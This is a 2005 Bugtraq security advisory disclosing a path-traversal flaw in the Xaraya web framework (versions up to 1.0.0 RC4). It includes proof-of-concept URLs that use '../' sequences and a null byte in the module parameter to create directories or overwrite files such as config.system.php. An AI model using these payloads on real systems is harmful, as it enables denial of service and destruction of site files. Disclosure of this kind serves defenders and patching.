bugtraq - Xaraya <= 1.0.0 RC4 D.O.S / file corruption

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Date: 29 Nov 2005 15:51:12 -0000
From: retrogod@...ceposta.it
To: bugtraq@...urityfocus.com
Subject: Xaraya <= 1.0.0 RC4 D.O.S / file corruption


Xaraya <= 1.0.0 RC4 D.O.S / file corruption

software:
site: http://www.xaraya.com
description: "Xaraya 1.0 Core is an Open Source web application framework
written in PHP"

vulnerable code in create() function in xarMLSXML2PHPBackend.php:



i) you can create an empty dir, in some cases this leads to D.O.S. condition,poc:

http://[target]/[path_to_xaraya]/index.php?module=../../../../.key.php
http://[target]/[path_to_xaraya]/index.php?module=../../../../../.htaccess




ii) you can overwite any file on target system, using null char

example, D.O.S, overwriting a system file:

http://[target]/[path_to_xaraya]/index.php?module=../../../../config.system.php%00

this could lead to remode code execution condition even, if a user overwrite
some file where an inclusion path is defined





rgod
site: http://rgod.altervista.org
mail: retrogod at aliceposta it
original advisory: http://rgod.altervista.org/xaraya1DOS.hmtl